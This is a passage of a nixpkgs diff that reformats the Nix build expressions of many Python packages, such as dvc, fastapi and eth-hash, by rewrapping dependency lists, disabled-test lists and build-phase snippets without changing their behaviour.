+  ];
 
   pytestFlagsArray = [
     "-m"
@@ -68,19 +67,18 @@ buildPythonPackage rec {
     "duckdb_engine/tests/test_datatypes.py"
   ];
 
-  disabledTests =
-    [
-      # incompatible with duckdb 1.1.1
-      "test_with_cache"
-      # these aren't set for some reason
-      "test_user_agent"
-      "test_user_agent_with_custom_user_agent"
-    ]
-    ++ lib.optionals (python.pythonVersion == "3.11") [
-      # incompatible with duckdb 1.1.1
-      "test_all_types_reflection"
-      "test_nested_types"
-    ];
+  disabledTests = [
+    # incompatible with duckdb 1.1.1
+    "test_with_cache"
+    # these aren't set for some reason
+    "test_user_agent"
+    "test_user_agent_with_custom_user_agent"
+  ]
+  ++ lib.optionals (python.pythonVersion == "3.11") [
+    # incompatible with duckdb 1.1.1
+    "test_all_types_reflection"
+    "test_nested_types"
+  ];
 
   pythonImportsCheck = [ "duckdb_engine" ];
 
diff --git a/pkgs/development/python-modules/duckdb/default.nix b/pkgs/development/python-modules/duckdb/default.nix
index c714eb03ab04..6a3de58a178e 100644
--- a/pkgs/development/python-modules/duckdb/default.nix
+++ b/pkgs/development/python-modules/duckdb/default.nix
@@ -24,18 +24,16 @@ buildPythonPackage rec {
     ;
   pyproject = true;
 
-  postPatch =
-    (duckdb.postPatch or "")
-    + ''
-      # we can't use sourceRoot otherwise patches don't apply, because the patches apply to the C++ library
-      cd tools/pythonpkg
+  postPatch = (duckdb.postPatch or "") + ''
+    # we can't use sourceRoot otherwise patches don't apply, because the patches apply to the C++ library
+    cd tools/pythonpkg
 
-      # 1. let nix control build cores
-      # 2. default to extension autoload & autoinstall disabled
-      substituteInPlace setup.py \
-        --replace-fail "ParallelCompile()" 'ParallelCompile("NIX_BUILD_CORES")' \
-        --replace-fail "define_macros.extend([('DUCKDB_EXTENSION_AUTOLOAD_DEFAULT', '1'), ('DUCKDB_EXTENSION_AUTOINSTALL_DEFAULT', '1')])" "pass"
-    '';
+    # 1. let nix control build cores
+    # 2. default to extension autoload & autoinstall disabled
+    substituteInPlace setup.py \
+      --replace-fail "ParallelCompile()" 'ParallelCompile("NIX_BUILD_CORES")' \
+      --replace-fail "define_macros.extend([('DUCKDB_EXTENSION_AUTOLOAD_DEFAULT', '1'), ('DUCKDB_EXTENSION_AUTOINSTALL_DEFAULT', '1')])" "pass"
+  '';
 
   env = {
     DUCKDB_BUILD_UNITY = 1;
diff --git a/pkgs/development/python-modules/duckduckgo-search/default.nix b/pkgs/development/python-modules/duckduckgo-search/default.nix
index fe7f0ac8af64..da53af78d6dd 100644
--- a/pkgs/development/python-modules/duckduckgo-search/default.nix
+++ b/pkgs/development/python-modules/duckduckgo-search/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
   dependencies = [
     click
     primp
-  ] ++ optional-dependencies.lxml;
+  ]
+  ++ optional-dependencies.lxml;
 
   optional-dependencies = {
     lxml = [ lxml ];
diff --git a/pkgs/development/python-modules/dufte/default.nix b/pkgs/development/python-modules/dufte/default.nix
index 53ef911b8814..6b247c61604f 100644
--- a/pkgs/development/python-modules/dufte/default.nix
+++ b/pkgs/development/python-modules/dufte/default.nix
@@ -28,7 +28,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     matplotlib
     numpy
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/dukpy/default.nix b/pkgs/development/python-modules/dukpy/default.nix
index 56855361d5f0..b3be6438855e 100644
--- a/pkgs/development/python-modules/dukpy/default.nix
+++ b/pkgs/development/python-modules/dukpy/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     mock
-  ] ++ optional-dependencies.webassets;
+  ]
+  ++ optional-dependencies.webassets;
 
   disabledTests = [ "test_installer" ];
 
diff --git a/pkgs/development/python-modules/dulwich/default.nix b/pkgs/development/python-modules/dulwich/default.nix
index 7c2419987b2f..7bc43bf8aff1 100644
--- a/pkgs/development/python-modules/dulwich/default.nix
+++ b/pkgs/development/python-modules/dulwich/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     git
     glibcLocales
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [ "tests" ];
 
diff --git a/pkgs/development/python-modules/dvc-hdfs/default.nix b/pkgs/development/python-modules/dvc-hdfs/default.nix
index 54b26e1b3cc7..6430b72a0e2d 100644
--- a/pkgs/development/python-modules/dvc-hdfs/default.nix
+++ b/pkgs/development/python-modules/dvc-hdfs/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     dvc
     fsspec
-  ] ++ fsspec.optional-dependencies.arrow;
+  ]
+  ++ fsspec.optional-dependencies.arrow;
 
   # Circular dependency with dvc
   doCheck = false;
diff --git a/pkgs/development/python-modules/dvc-render/default.nix b/pkgs/development/python-modules/dvc-render/default.nix
index ffb271eab575..09c434dc4e35 100644
--- a/pkgs/development/python-modules/dvc-render/default.nix
+++ b/pkgs/development/python-modules/dvc-render/default.nix
@@ -41,15 +41,14 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      funcy
-      pytestCheckHook
-      pytest-mock
-      pytest-test-utils
-    ]
-    ++ optional-dependencies.table
-    ++ optional-dependencies.markdown;
+  nativeCheckInputs = [
+    funcy
+    pytestCheckHook
+    pytest-mock
+    pytest-test-utils
+  ]
+  ++ optional-dependencies.table
+  ++ optional-dependencies.markdown;
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [ "tests/test_vega.py" ];
 
diff --git a/pkgs/development/python-modules/dvc/default.nix b/pkgs/development/python-modules/dvc/default.nix
index b92a3cd973bd..dbea49e31334 100644
--- a/pkgs/development/python-modules/dvc/default.nix
+++ b/pkgs/development/python-modules/dvc/default.nix
@@ -91,55 +91,54 @@ buildPythonPackage rec {
 
   build-system = [ setuptools-scm ];
 
-  dependencies =
-    [
-      attrs
-      celery
-      colorama
-      configobj
-      distro
-      dpath
-      dulwich
-      dvc-data
-      dvc-http
-      dvc-render
-      dvc-studio-client
-      dvc-task
-      flatten-dict
-      flufl-lock
-      fsspec
-      funcy
-      grandalf
-      gto
-      hydra-core
-      iterative-telemetry
-      kombu
-      networkx
-      omegaconf
-      packaging
-      pathspec
-      platformdirs
-      psutil
-      pydot
-      pygtrie
-      pyparsing
-      requests
-      rich
-      ruamel-yaml
-      scmrepo
-      shortuuid
-      shtab
-      tabulate
-      tomlkit
-      tqdm
-      typing-extensions
-      voluptuous
-      zc-lockfile
-    ]
-    ++ lib.optionals enableGoogle optional-dependencies.gs
-    ++ lib.optionals enableAWS optional-dependencies.s3
-    ++ lib.optionals enableAzure optional-dependencies.azure
-    ++ lib.optionals enableSSH optional-dependencies.ssh;
+  dependencies = [
+    attrs
+    celery
+    colorama
+    configobj
+    distro
+    dpath
+    dulwich
+    dvc-data
+    dvc-http
+    dvc-render
+    dvc-studio-client
+    dvc-task
+    flatten-dict
+    flufl-lock
+    fsspec
+    funcy
+    grandalf
+    gto
+    hydra-core
+    iterative-telemetry
+    kombu
+    networkx
+    omegaconf
+    packaging
+    pathspec
+    platformdirs
+    psutil
+    pydot
+    pygtrie
+    pyparsing
+    requests
+    rich
+    ruamel-yaml
+    scmrepo
+    shortuuid
+    shtab
+    tabulate
+    tomlkit
+    tqdm
+    typing-extensions
+    voluptuous
+    zc-lockfile
+  ]
+  ++ lib.optionals enableGoogle optional-dependencies.gs
+  ++ lib.optionals enableAWS optional-dependencies.s3
+  ++ lib.optionals enableAzure optional-dependencies.azure
+  ++ lib.optionals enableSSH optional-dependencies.ssh;
 
   optional-dependencies = {
     azure = [ dvc-azure ];
diff --git a/pkgs/development/python-modules/dvclive/default.nix b/pkgs/development/python-modules/dvclive/default.nix
index 90c541c09e8b..071c588afedf 100644
--- a/pkgs/development/python-modules/dvclive/default.nix
+++ b/pkgs/development/python-modules/dvclive/default.nix
@@ -75,7 +75,8 @@ buildPythonPackage rec {
       torch
       transformers
       xgboost
-    ] ++ jsonargparse.optional-dependencies.signatures;
+    ]
+    ++ jsonargparse.optional-dependencies.signatures;
     image = [
       numpy
       pillow
@@ -103,7 +104,8 @@ buildPythonPackage rec {
       lightning
       torch
       jsonargparse
-    ] ++ jsonargparse.optional-dependencies.signatures;
+    ]
+    ++ jsonargparse.optional-dependencies.signatures;
     optuna = [ optuna ];
   };
 
diff --git a/pkgs/development/python-modules/e3-core/default.nix b/pkgs/development/python-modules/e3-core/default.nix
index d7375001a062..a391fe073081 100644
--- a/pkgs/development/python-modules/e3-core/default.nix
+++ b/pkgs/development/python-modules/e3-core/default.nix
@@ -37,24 +37,23 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ autoPatchelfHook ];
 
-  dependencies =
-    [
-      colorama
-      packaging
-      python-dateutil
-      pyyaml
-      requests
-      requests-cache
-      requests-toolbelt
-      stevedore
-      tqdm
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux [
-      # See https://github.com/AdaCore/e3-core/blob/v22.6.0/pyproject.toml#L37-L42
-      # These are required only on Linux. Darwin has its own set of requirements
-      psutil
-      distro
-    ];
+  dependencies = [
+    colorama
+    packaging
+    python-dateutil
+    pyyaml
+    requests
+    requests-cache
+    requests-toolbelt
+    stevedore
+    tqdm
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux [
+    # See https://github.com/AdaCore/e3-core/blob/v22.6.0/pyproject.toml#L37-L42
+    # These are required only on Linux. Darwin has its own set of requirements
+    psutil
+    distro
+  ];
 
   pythonImportsCheck = [ "e3" ];
 
diff --git a/pkgs/development/python-modules/edalize/default.nix b/pkgs/development/python-modules/edalize/default.nix
index f1dfca43a7d9..5713b9e34166 100644
--- a/pkgs/development/python-modules/edalize/default.nix
+++ b/pkgs/development/python-modules/edalize/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     pytestCheckHook
     which
     yosys
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "edalize" ];
 
diff --git a/pkgs/development/python-modules/elastic-apm/default.nix b/pkgs/development/python-modules/elastic-apm/default.nix
index 0146091c8ea6..975d05e5624f 100644
--- a/pkgs/development/python-modules/elastic-apm/default.nix
+++ b/pkgs/development/python-modules/elastic-apm/default.nix
@@ -88,15 +88,14 @@ buildPythonPackage rec {
 
   disabledTests = [ "elasticapm_client" ];
 
-  disabledTestPaths =
-    [
-      # Exclude tornado tests
-      "tests/contrib/asyncio/tornado/tornado_tests.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Flaky tests on Darwin
-      "tests/utils/threading_tests.py"
-    ];
+  disabledTestPaths = [
+    # Exclude tornado tests
+    "tests/contrib/asyncio/tornado/tornado_tests.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Flaky tests on Darwin
+    "tests/utils/threading_tests.py"
+  ];
 
   pythonImportsCheck = [ "elasticapm" ];
 
diff --git a/pkgs/development/python-modules/eliot/default.nix b/pkgs/development/python-modules/eliot/default.nix
index 258b16713228..7ac0377af170 100644
--- a/pkgs/development/python-modules/eliot/default.nix
+++ b/pkgs/development/python-modules/eliot/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytestCheckHook
     testtools
     twisted
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ daemontools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ daemontools ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/energyflow/default.nix b/pkgs/development/python-modules/energyflow/default.nix
index fffc8b1998ed..2fe0be0ad329 100644
--- a/pkgs/development/python-modules/energyflow/default.nix
+++ b/pkgs/development/python-modules/energyflow/default.nix
@@ -64,22 +64,22 @@ buildPythonPackage rec {
     pot
     pytestCheckHook
     tf-keras
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
-  disabledTests =
-    [
-      # Issues with array
-      "test_emd_equivalence"
-      "test_gdim"
-      "test_n_jobs"
-      "test_periodic_phi"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: EMDStatus - Infeasible
-      "test_emd_byhand_1_1"
-      "test_emd_return_flow"
-      "test_emde"
-    ];
+  disabledTests = [
+    # Issues with array
+    "test_emd_equivalence"
+    "test_gdim"
+    "test_n_jobs"
+    "test_periodic_phi"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: EMDStatus - Infeasible
+    "test_emd_byhand_1_1"
+    "test_emd_return_flow"
+    "test_emde"
+  ];
 
   pythonImportsCheck = [ "energyflow" ];
 
diff --git a/pkgs/development/python-modules/entrance/default.nix b/pkgs/development/python-modules/entrance/default.nix
index 960e629d1474..2ce586482682 100644
--- a/pkgs/development/python-modules/entrance/default.nix
+++ b/pkgs/development/python-modules/entrance/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
   dependencies = [
     pyyaml
     sanic
-  ] ++ opts.extraBuildInputs;
+  ]
+  ++ opts.extraBuildInputs;
 
   prePatch = opts.prePatch;
 
diff --git a/pkgs/development/python-modules/envisage/default.nix b/pkgs/development/python-modules/envisage/default.nix
index f0525da2d47b..ed8cfe2a9c3c 100644
--- a/pkgs/development/python-modules/envisage/default.nix
+++ b/pkgs/development/python-modules/envisage/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     setuptools
     traits
     traitsui
-  ] ++ apptools.optional-dependencies.preferences;
+  ]
+  ++ apptools.optional-dependencies.preferences;
 
   preCheck = ''
     export HOME=$PWD/HOME
diff --git a/pkgs/development/python-modules/equinox/default.nix b/pkgs/development/python-modules/equinox/default.nix
index e6b3f9f6f108..e77956a76c62 100644
--- a/pkgs/development/python-modules/equinox/default.nix
+++ b/pkgs/development/python-modules/equinox/default.nix
@@ -56,16 +56,15 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # AssertionError: assert '<function te...n.<locals>.f>' == '<function f>'
-      # https://github.com/patrick-kidger/equinox/issues/1008
-      "test_function"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
-      "test_filter"
-    ];
+  disabledTests = [
+    # AssertionError: assert '<function te...n.<locals>.f>' == '<function f>'
+    # https://github.com/patrick-kidger/equinox/issues/1008
+    "test_function"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # SystemError: nanobind::detail::nb_func_error_except(): exception could not be translated!
+    "test_filter"
+  ];
 
   pythonImportsCheck = [ "equinox" ];
 
diff --git a/pkgs/development/python-modules/ete3/default.nix b/pkgs/development/python-modules/ete3/default.nix
index b16679376a53..afa2185519ef 100644
--- a/pkgs/development/python-modules/ete3/default.nix
+++ b/pkgs/development/python-modules/ete3/default.nix
@@ -30,14 +30,13 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "ete3" ];
 
-  dependencies =
-    [
-      six
-      numpy
-      legacy-cgi
-    ]
-    ++ lib.optional withTreeVisualization pyqt5
-    ++ lib.optional withXmlSupport lxml;
+  dependencies = [
+    six
+    numpy
+    legacy-cgi
+  ]
+  ++ lib.optional withTreeVisualization pyqt5
+  ++ lib.optional withXmlSupport lxml;
 
   meta = {
     description = "Python framework for the analysis and visualization of trees";
diff --git a/pkgs/development/python-modules/eth-abi/default.nix b/pkgs/development/python-modules/eth-abi/default.nix
index 0aa81ae68668..4d5027687310 100644
--- a/pkgs/development/python-modules/eth-abi/default.nix
+++ b/pkgs/development/python-modules/eth-abi/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     hypothesis
     pytestCheckHook
     pytest-xdist
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   disabledTests = [
     # boolean list representation changed
diff --git a/pkgs/development/python-modules/eth-bloom/default.nix b/pkgs/development/python-modules/eth-bloom/default.nix
index 8c2a84e35908..c1283a0a2540 100644
--- a/pkgs/development/python-modules/eth-bloom/default.nix
+++ b/pkgs/development/python-modules/eth-bloom/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     hypothesis
     pytestCheckHook
     pytest-xdist
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   pythonImportsCheck = [ "eth_bloom" ];
 
diff --git a/pkgs/development/python-modules/eth-hash/default.nix b/pkgs/development/python-modules/eth-hash/default.nix
index 86ba11f3c019..cea7774011cf 100644
--- a/pkgs/development/python-modules/eth-hash/default.nix
+++ b/pkgs/development/python-modules/eth-hash/default.nix
@@ -26,27 +26,25 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  nativeCheckInputs =
-    [
-      pytest
-      pytest-xdist
-    ]
-    ++ optional-dependencies.pycryptodome
-    # safe-pysha3 is not available on pypy
-    ++ lib.optional (!isPyPy) optional-dependencies.pysha3;
+  nativeCheckInputs = [
+    pytest
+    pytest-xdist
+  ]
+  ++ optional-dependencies.pycryptodome
+  # safe-pysha3 is not available on pypy
+  ++ lib.optional (!isPyPy) optional-dependencies.pysha3;
 
   # Backends need to be tested separately and can not use hook
-  checkPhase =
-    ''
-      runHook preCheck
-      pytest tests/core tests/backends/pycryptodome
-    ''
-    + lib.optionalString (!isPyPy) ''
-      pytest tests/backends/pysha3
-    ''
-    + ''
-      runHook postCheck
-    '';
+  checkPhase = ''
+    runHook preCheck
+    pytest tests/core tests/backends/pycryptodome
+  ''
+  + lib.optionalString (!isPyPy) ''
+    pytest tests/backends/pysha3
+  ''
+  + ''
+    runHook postCheck
+  '';
 
   optional-dependencies = {
     pycryptodome = [ pycryptodome ];
diff --git a/pkgs/development/python-modules/eth-keys/default.nix b/pkgs/development/python-modules/eth-keys/default.nix
index 95965af550f0..e09926107189 100644
--- a/pkgs/development/python-modules/eth-keys/default.nix
+++ b/pkgs/development/python-modules/eth-keys/default.nix
@@ -36,17 +36,16 @@ buildPythonPackage rec {
     eth-utils
   ];
 
-  nativeCheckInputs =
-    [
-      asn1tools
-      factory-boy
-      hypothesis
-      pyasn1
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.coincurve
-    ++ lib.optional (!isPyPy) eth-hash.optional-dependencies.pysha3
-    ++ lib.optional isPyPy eth-hash.optional-dependencies.pycryptodome;
+  nativeCheckInputs = [
+    asn1tools
+    factory-boy
+    hypothesis
+    pyasn1
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.coincurve
+  ++ lib.optional (!isPyPy) eth-hash.optional-dependencies.pysha3
+  ++ lib.optional isPyPy eth-hash.optional-dependencies.pycryptodome;
 
   pythonImportsCheck = [ "eth_keys" ];
 
diff --git a/pkgs/development/python-modules/eth-utils/default.nix b/pkgs/development/python-modules/eth-utils/default.nix
index b170e2443b30..3e4f1f7aa114 100644
--- a/pkgs/development/python-modules/eth-utils/default.nix
+++ b/pkgs/development/python-modules/eth-utils/default.nix
@@ -29,19 +29,19 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  propagatedBuildInputs =
-    [
-      eth-hash
-      eth-typing
-    ]
-    ++ lib.optional (!isPyPy) cytoolz
-    ++ lib.optional isPyPy toolz;
+  propagatedBuildInputs = [
+    eth-hash
+    eth-typing
+  ]
+  ++ lib.optional (!isPyPy) cytoolz
+  ++ lib.optional isPyPy toolz;
 
   nativeCheckInputs = [
     hypothesis
     mypy
     pytestCheckHook
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   pythonImportsCheck = [ "eth_utils" ];
 
diff --git a/pkgs/development/python-modules/etils/default.nix b/pkgs/development/python-modules/etils/default.nix
index c192f670940f..1f51438fab8e 100644
--- a/pkgs/development/python-modules/etils/default.nix
+++ b/pkgs/development/python-modules/etils/default.nix
@@ -45,27 +45,29 @@ buildPythonPackage rec {
     array-types = enp;
     eapp = [
       absl-py # FIXME package simple-parsing
-    ] ++ epy;
-    ecolab =
-      [
-        jupyter
-        numpy
-        mediapy
-      ]
-      ++ enp
-      ++ epy;
+    ]
+    ++ epy;
+    ecolab = [
+      jupyter
+      numpy
+      mediapy
+    ]
+    ++ enp
+    ++ epy;
     edc = epy;
     enp = [ numpy ] ++ epy;
     epath = [
       importlib-resources
       typing-extensions
       zipp
-    ] ++ epy;
+    ]
+    ++ epy;
     epy = [ typing-extensions ];
     etqdm = [
       absl-py
       tqdm
-    ] ++ epy;
+    ]
+    ++ epy;
     etree = array-types ++ epy ++ enp ++ etqdm;
     etree-dm = [ dm-tree ] ++ etree;
     etree-jax = [ jax ] ++ etree;
@@ -94,7 +96,8 @@ buildPythonPackage rec {
     pytest-xdist
     pytestCheckHook
     yapf
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   disabledTests = [
     "test_public_access" # requires network access
diff --git a/pkgs/development/python-modules/evaluate/default.nix b/pkgs/development/python-modules/evaluate/default.nix
index 9eadd3784211..70ab39dd662b 100644
--- a/pkgs/development/python-modules/evaluate/default.nix
+++ b/pkgs/development/python-modules/evaluate/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     fsspec
     huggingface-hub
     packaging
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   # most tests require internet access.
   doCheck = false;
diff --git a/pkgs/development/python-modules/evohome-async/default.nix b/pkgs/development/python-modules/evohome-async/default.nix
index e5ba6551f508..f94d44a2dac5 100644
--- a/pkgs/development/python-modules/evohome-async/default.nix
+++ b/pkgs/development/python-modules/evohome-async/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pyyaml
     syrupy
-  ] ++ optional-dependencies.cli;
+  ]
+  ++ optional-dependencies.cli;
 
   pythonImportsCheck = [ "evohomeasync2" ];
 
diff --git a/pkgs/development/python-modules/execnet/default.nix b/pkgs/development/python-modules/execnet/default.nix
index 5c67eb044464..f4182c536f4e 100644
--- a/pkgs/development/python-modules/execnet/default.nix
+++ b/pkgs/development/python-modules/execnet/default.nix
@@ -19,17 +19,16 @@ buildPythonPackage rec {
     hash = "sha256-UYm1LGEhwk/q4ogWarQbMlScfiNIZSc2VAuebn1OcuM=";
   };
 
-  postPatch =
-    ''
-      # remove vbox tests
-      rm testing/test_termination.py
-      rm testing/test_channel.py
-      rm testing/test_xspec.py
-      rm testing/test_gateway.py
-    ''
-    + lib.optionalString isPyPy ''
-      rm testing/test_multi.py
-    '';
+  postPatch = ''
+    # remove vbox tests
+    rm testing/test_termination.py
+    rm testing/test_channel.py
+    rm testing/test_xspec.py
+    rm testing/test_gateway.py
+  ''
+  + lib.optionalString isPyPy ''
+    rm testing/test_multi.py
+  '';
 
   build-system = [
     hatchling
diff --git a/pkgs/development/python-modules/executing/default.nix b/pkgs/development/python-modules/executing/default.nix
index 58c766811fe1..96ca766be344 100644
--- a/pkgs/development/python-modules/executing/default.nix
+++ b/pkgs/development/python-modules/executing/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     asttokens
     littleutils
     pytestCheckHook
-  ] ++ lib.optionals (pythonAtLeast "3.11") [ rich ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [ rich ];
 
   disabledTests = [
     # requires ipython, which causes a circular dependency
diff --git a/pkgs/development/python-modules/falcon/default.nix b/pkgs/development/python-modules/falcon/default.nix
index 46c72637192c..40a98bfebd4a 100644
--- a/pkgs/development/python-modules/falcon/default.nix
+++ b/pkgs/development/python-modules/falcon/default.nix
@@ -74,19 +74,19 @@ buildPythonPackage rec {
     msgpack
     mujson
     ujson
-  ] ++ lib.optionals (pythonOlder "3.10") [ testtools ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ testtools ];
 
   pytestFlagsArray = [ "tests" ];
 
-  disabledTestPaths =
-    [
-      # needs a running server
-      "tests/asgi/test_asgi_servers.py"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # ModuleNotFoundError: No module named 'distutils'
-      "tests/asgi/test_cythonized_asgi.py"
-    ];
+  disabledTestPaths = [
+    # needs a running server
+    "tests/asgi/test_asgi_servers.py"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # ModuleNotFoundError: No module named 'distutils'
+    "tests/asgi/test_cythonized_asgi.py"
+  ];
 
   meta = with lib; {
     changelog = "https://falcon.readthedocs.io/en/stable/changes/${version}.html";
diff --git a/pkgs/development/python-modules/fastapi-cli/default.nix b/pkgs/development/python-modules/fastapi-cli/default.nix
index 714a27899a26..89384a31070b 100644
--- a/pkgs/development/python-modules/fastapi-cli/default.nix
+++ b/pkgs/development/python-modules/fastapi-cli/default.nix
@@ -31,12 +31,14 @@ let
       rich-toolkit
       typer
       uvicorn
-    ] ++ uvicorn.optional-dependencies.standard;
+    ]
+    ++ uvicorn.optional-dependencies.standard;
 
     optional-dependencies = {
       standard = [
         uvicorn
-      ] ++ uvicorn.optional-dependencies.standard;
+      ]
+      ++ uvicorn.optional-dependencies.standard;
     };
 
     doCheck = false;
@@ -46,7 +48,8 @@ let
     nativeCheckInputs = [
       pytestCheckHook
       rich
-    ] ++ optional-dependencies.standard;
+    ]
+    ++ optional-dependencies.standard;
 
     # coverage
     disabledTests = [ "test_script" ];
diff --git a/pkgs/development/python-modules/fastapi-sso/default.nix b/pkgs/development/python-modules/fastapi-sso/default.nix
index 1039e258f515..46e0788ff2bf 100644
--- a/pkgs/development/python-modules/fastapi-sso/default.nix
+++ b/pkgs/development/python-modules/fastapi-sso/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     oauthlib
     pydantic
     pyjwt
-  ] ++ pydantic.optional-dependencies.email;
+  ]
+  ++ pydantic.optional-dependencies.email;
 
   nativeCheckInputs = [
     email-validator
diff --git a/pkgs/development/python-modules/fastapi/default.nix b/pkgs/development/python-modules/fastapi/default.nix
index e99f4d0d5f48..e40a9458ad16 100644
--- a/pkgs/development/python-modules/fastapi/default.nix
+++ b/pkgs/development/python-modules/fastapi/default.nix
@@ -67,54 +67,51 @@ buildPythonPackage rec {
   ];
 
   optional-dependencies = {
-    all =
-      [
-        fastapi-cli
-        httpx
-        jinja2
-        python-multipart
-        itsdangerous
-        pyyaml
-        ujson
-        orjson
-        email-validator
-        uvicorn
-      ]
-      ++ lib.optionals (lib.versionAtLeast pydantic.version "2") [
-        pydantic-settings
-        pydantic-extra-types
-      ]
-      ++ fastapi-cli.optional-dependencies.standard
-      ++ uvicorn.optional-dependencies.standard;
-    standard =
-      [
-        fastapi-cli
-        httpx
-        jinja2
-        python-multipart
-        email-validator
-        uvicorn
-      ]
-      ++ fastapi-cli.optional-dependencies.standard
-      ++ uvicorn.optional-dependencies.standard;
+    all = [
+      fastapi-cli
+      httpx
+      jinja2
+      python-multipart
+      itsdangerous
+      pyyaml
+      ujson
+      orjson
+      email-validator
+      uvicorn
+    ]
+    ++ lib.optionals (lib.versionAtLeast pydantic.version "2") [
+      pydantic-settings
+      pydantic-extra-types
+    ]
+    ++ fastapi-cli.optional-dependencies.standard
+    ++ uvicorn.optional-dependencies.standard;
+    standard = [
+      fastapi-cli
+      httpx
+      jinja2
+      python-multipart
+      email-validator
+      uvicorn
+    ]
+    ++ fastapi-cli.optional-dependencies.standard
+    ++ uvicorn.optional-dependencies.standard;
   };
 
-  nativeCheckInputs =
-    [
-      anyio
-      dirty-equals
-      flask
-      inline-snapshot
-      passlib
-      pyjwt
-      pytestCheckHook
-      pytest-asyncio
-      trio
-      sqlalchemy
-    ]
-    ++ anyio.optional-dependencies.trio
-    ++ passlib.optional-dependencies.bcrypt
-    ++ optional-dependencies.all;
+  nativeCheckInputs = [
+    anyio
+    dirty-equals
+    flask
+    inline-snapshot
+    passlib
+    pyjwt
+    pytestCheckHook
+    pytest-asyncio
+    trio
+    sqlalchemy
+  ]
+  ++ anyio.optional-dependencies.trio
+  ++ passlib.optional-dependencies.bcrypt
+  ++ optional-dependencies.all;
 
   pytestFlagsArray = [
     # ignoring deprecation warnings to avoid test failure from
diff --git a/pkgs/development/python-modules/fastavro/default.nix b/pkgs/development/python-modules/fastavro/default.nix
index 0493f6890fa2..1d188c0e0a4d 100644
--- a/pkgs/development/python-modules/fastavro/default.nix
+++ b/pkgs/development/python-modules/fastavro/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytestCheckHook
     python-dateutil
     zlib-ng
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # Fails with "AttributeError: module 'fastavro._read_py' has no attribute
   # 'CYTHON_MODULE'." Doesn't appear to be serious. See https://github.com/fastavro/fastavro/issues/112#issuecomment-387638676.
diff --git a/pkgs/development/python-modules/fastjet/default.nix b/pkgs/development/python-modules/fastjet/default.nix
index 73830c7d5339..f1708d02cf81 100644
--- a/pkgs/development/python-modules/fastjet/default.nix
+++ b/pkgs/development/python-modules/fastjet/default.nix
@@ -20,11 +20,9 @@ let
       withPython = true;
     }).overrideAttrs
       (prev: {
-        postInstall =
-          (prev.postInstall or "")
-          + ''
-            mv "$out/${python.sitePackages}/"{fastjet.py,_fastjet_swig.py}
-          '';
+        postInstall = (prev.postInstall or "") + ''
